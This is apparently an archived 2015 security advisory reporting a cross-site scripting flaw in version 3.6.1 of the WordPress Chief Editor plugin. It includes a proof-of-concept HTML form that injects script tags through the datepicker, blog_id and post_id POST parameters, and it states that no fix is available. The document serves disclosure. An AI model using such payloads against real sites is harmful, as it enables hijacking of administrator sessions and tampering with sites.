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WordPress Chief Editor 3.6.1 Cross Site Scripting

WordPress Chief Editor 3.6.1 Cross Site Scripting
Posted Jul 29, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Chief Editor plugin version 3.6.1 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | afcf96a4ea803863e10727edc8176d0e

WordPress Chief Editor 3.6.1 Cross Site Scripting

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Title: WordPress 'Chief Editor' Plugin 
Version: 3.6.1
Author: Morten Nørtoft, Kenneth Jepsen & Mikkel Vej
Date: 2015-06-17
Download:
- https://wordpress.org/plugins/chief-editor/
- https://plugins.svn.wordpress.org/chief-editor/
Notified Vendor/WordPress: 2015-06-21
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## Plugin description
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Helps wordpress multisite "chief editor" to manage all drafts, comments, authors and "ready for publication" sends across the netw

## Vulnerabilities
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Some POST parameters are printed directly to the HTML without being sanitized.

PoC:
Log in as admin and submit the following form:

<form method="POST" action="[URL]/wp422/wp-admin/admin.php?page=chief-editor-dashboard">
<input type="text" name="submitDate" value="someValue"><br />
<input type="text" name="datepicker" value=""/><script>alert(1)</script>"><br />
<input type="text" name="blog_id" value=""/><script>alert(2)</script>"><br />
<input type="text" name="post_id" value=""/><script>alert(3)</script>"><br />
<input type="submit">
</form>


## Solution
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No fix available

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Vulnerabilities found using Eir; an early stage static vulnerability scanner for PHP applications.

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